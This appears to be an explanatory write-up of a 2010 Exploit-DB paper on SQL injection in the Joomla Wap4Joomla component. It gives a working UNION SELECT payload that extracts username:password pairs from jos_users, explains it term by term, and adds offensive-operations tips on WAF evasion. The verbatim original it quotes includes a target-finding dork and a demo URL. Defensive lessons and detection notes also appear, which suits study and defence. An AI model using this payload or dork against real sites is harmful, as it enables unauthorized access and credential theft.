Exploiting Joomla Wap4Joomla Component SQL Injection

What this paper is

This paper details a SQL injection vulnerability in the Wap4Joomla component for Joomla! websites. Specifically, it targets the wapmain.php file, allowing an attacker to inject malicious SQL queries. The vulnerability lies in how the id parameter is handled, enabling the extraction of sensitive data, such as usernames and passwords from the jos_users table.

Simple technical breakdown

The vulnerability occurs because the id parameter in the URL is not properly sanitized before being used in a SQL query. This allows an attacker to manipulate the query by adding SQL commands. The exploit uses a UNION SELECT statement to combine the results of the attacker's query with the original query's expected output. This technique is used to extract data from other tables, in this case, the jos_users table, which typically stores user credentials.

Complete code and payload walkthrough

The exploit provided is a URL string, not traditional code. It demonstrates how to craft a malicious URL to trigger the SQL injection.

Vulnerable URL Structure:
wap/wapmain.php?option=onews&action=link&id=[SQL]

Exploit Payload:
-1+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1--

Breakdown of the Exploit Payload:

• -1: This is used to make the original query fail or return no results. This is a common technique to ensure that only the results from the UNION SELECT statement are displayed.
• +union+select+: This is the core of the SQL injection. It tells the database to combine the results of the original query with the results of the SELECT statement that follows.
• 1,2,3,: These are placeholder values. The number of columns in the SELECT statement must match the number of columns expected by the original query. The exploit enumerates these columns to find where the data can be injected.
• concat(username,0x3a,password): This is the critical part that extracts data.
  • concat(): A SQL function that joins multiple strings together.
  • username: The column containing the username from the jos_users table.
  • 0x3a: This is the hexadecimal representation of the colon character (:). It's used as a separator between the username and password.
  • password: The column containing the password from the jos_users table.
• ,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28: These are more placeholder values, filling the remaining required columns to match the original query's structure. The exact number of these placeholders depends on the original query's column count.
• +from+jos_users: This specifies the table from which to retrieve the data. jos_users is the standard table name for user information in older Joomla installations.
• +limit+0,1: This limits the output to the first record found. This is useful for extracting one user's credentials at a time.
• --: This is a SQL comment marker. It comments out the rest of the original query, preventing syntax errors and ensuring only the injected query is executed.

Mapping:

• wap/wapmain.php?option=onews&action=link&id=: Practical Purpose: The entry point for the attack, specifying the vulnerable script and parameters.
• -1: Practical Purpose: To cause the original query to return no rows, allowing the injected UNION SELECT to dominate the output.
• union select: Practical Purpose: To combine the results of the attacker's query with the legitimate query's results.
• 1,2,3: Practical Purpose: Placeholder columns, used to match the expected number of columns in the original query.
• concat(username,0x3a,password): Practical Purpose: The core data extraction function, retrieving and formatting username and password pairs.
• 5,6,...,28: Practical Purpose: Additional placeholder columns to match the original query's structure.
• from jos_users: Practical Purpose: Specifies the target table containing user credentials.
• limit 0,1: Practical Purpose: Restricts the output to a single row, making it easier to parse and retrieve one credential pair at a time.
• --: Practical Purpose: Terminates the original SQL query, preventing syntax errors and ensuring the injected query is fully processed.

Practical details for offensive operations teams

• Required Access Level: Unauthenticated (remote). This vulnerability can be exploited by any user who can send HTTP requests to the target web server.
• Lab Preconditions:
  • A vulnerable Joomla installation with the Wap4Joomla component installed.
  • A web server environment (e.g., Apache, Nginx) running PHP.
  • A database (e.g., MySQL) accessible by the web application.
  • Knowledge of the Joomla database prefix (default is jos_). If it's different, the exploit needs modification.
• Tooling Assumptions:
  • A web browser or a command-line tool like curl for sending HTTP requests.
  • An automated scanner or a custom script to iterate through potential id values or to automate the extraction of multiple user credentials.
  • A tool for decoding Base64 or other encoding if the extracted password is not plain text.
• Execution Pitfalls:
  • Incorrect Column Count: If the number of columns in the UNION SELECT statement does not match the original query, the database will return an error. The attacker needs to enumerate the correct number of columns.
  • Database Prefix: The exploit assumes the default jos_ prefix for Joomla tables. If a custom prefix is used, the jos_users part of the payload must be changed accordingly.
  • WAF/IDS Evasion: Simple SQL injection payloads might be detected by Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS). Techniques like URL encoding, case variations, or using different SQL functions might be necessary.
  • Data Encoding: Passwords in the jos_users table might be hashed or encoded. The concat() function will simply return them as they are stored. Further processing might be needed to crack or decode them.
  • Target Availability: The vulnerable component and file must be present and accessible on the target.
• Telemetry:
  • Web Server Logs: Unusual HTTP requests to wapmain.php with option=onews, action=link, and a manipulated id parameter containing UNION SELECT.
  • Database Logs: Potentially, queries that deviate from normal application behavior, especially those involving UNION operations or accessing the jos_users table in an unexpected manner. However, database logging might not always capture this level of detail for specific queries.
  • Application Errors: If the SQL injection is malformed or blocked, the application might log errors related to SQL syntax or database connection issues.

Where this was used and when

This vulnerability was published in April 2010. It targets older versions of Joomla and the Wap4Joomla component. Exploits of this nature were common in the late 2000s and early 2010s as web application security practices were less mature. While specific instances of this exact exploit being used in the wild are not detailed in the paper, vulnerabilities of this type were frequently leveraged by attackers to gain unauthorized access to websites.

Defensive lessons for modern teams

• Input Validation and Sanitization: This is the most crucial defense. All user-supplied input, especially data used in database queries, must be rigorously validated and sanitized. This includes:
  • Parameterized Queries/Prepared Statements: Use these whenever interacting with a database. They separate SQL code from data, preventing malicious input from being interpreted as commands.
  • Whitelisting: Only allow known-good characters or patterns in input fields.
  • Escaping Special Characters: Properly escape characters that have special meaning in SQL.
• Principle of Least Privilege: Ensure the web application's database user has only the minimum necessary permissions. This limits the damage an attacker can do even if they succeed in injecting SQL.
• Regular Patching and Updates: Keep Joomla and all its components updated to the latest versions. Vendors regularly release patches for known vulnerabilities.
• Web Application Firewalls (WAFs): Deploy and configure WAFs to detect and block common SQL injection patterns. However, WAFs are not foolproof and should be part of a layered security approach.
• Security Audits and Code Reviews: Regularly audit web application code for potential security flaws, especially in areas handling user input and database interactions.
• Database Monitoring: Implement database auditing and monitoring to detect suspicious query patterns.

ASCII visual (if applicable)

This exploit is a direct manipulation of a URL, so a complex architectural diagram isn't strictly necessary. However, we can visualize the flow of the request and the injection point:

+-----------------+      +-----------------+      +-----------------+      +-----------------+
| Attacker's      |----->| Web Browser/    |----->| Web Server      |----->| Joomla App      |
| Machine         |      | HTTP Client     |      | (e.g., Apache)  |      | (PHP Script)    |
+-----------------+      +-----------------+      +-----------------+      +-----------------+
                                                                                     |
                                                                                     | (Vulnerable
                                                                                     |  wapmain.php)
                                                                                     v
                                                                          +-----------------+
                                                                          | Database Query  |
                                                                          | (e.g., MySQL)   |
                                                                          +-----------------+
                                                                                 ^
                                                                                 | (Original Query
                                                                                 |  + Injected Query)
                                                                                 |
                                                                          +-----------------+
                                                                          | jos_users Table |
                                                                          +-----------------+

Explanation:

1. The attacker crafts a malicious URL.
2. This URL is sent via an HTTP client (browser or tool) to the web server.
3. The web server passes the request to the Joomla application, specifically wapmain.php.
4. The vulnerable script processes the id parameter without proper sanitization.
5. The manipulated id parameter forms part of a SQL query sent to the database.
6. The database executes the combined (original + injected) query.
7. Sensitive data from the jos_users table is returned as part of the query result.

Source references

• Paper URL: https://www.exploit-db.com/papers/12440
• Raw Exploit URL: https://www.exploit-db.com/raw/12440
• Joomla Component Download (historical): http://www.joomlaos.de/option,com_remository/Itemid,41/func,finishdown/id,2088.html
• Joomla Component Information (historical): http://www.joomlaos.de/Downloads/Joomla_und_Mambo_Komponenten/Wap4Joomla.html

Original Exploit-DB Content (Verbatim)

Joomla Component Wap4Joomla (wapmain.php) SQL Injection Vulnerability  
      
###########################  
      
Author    : Manas58 
   
Homepage  : http://www.1923turk.com   
  
Script    : Joomla  http://www.joomlaos.de/Downloads/Joomla_und_Mambo_Komponenten/Wap4Joomla.html 
  
Download  : http://www.joomlaos.de/option,com_remository/Itemid,41/func,finishdown/id,2088.html  

Dork      : inurl:wapmain.php?option=      
###########################    
        
[ Vulnerable File ] 
 
    
wap/wapmain.php?option=onews&action=link&id= [ SQL ]  
         
    
[ XpL ]  
      
-1+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1--
  
[ Demo] 
 
http://xxxxx/wap/wapmain.php?option=onews&action=link&id=-154+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1--


  
##############################################################    
# 
# Gamoscu: http://gamoscu.wordpress.com/
#
# Baybora: http://baybora.wordpress.com/
#
# Delibey - Tiamo - Psiko - Turco - infazci - X-TRO 
#
#
#
#
#   
##############################################################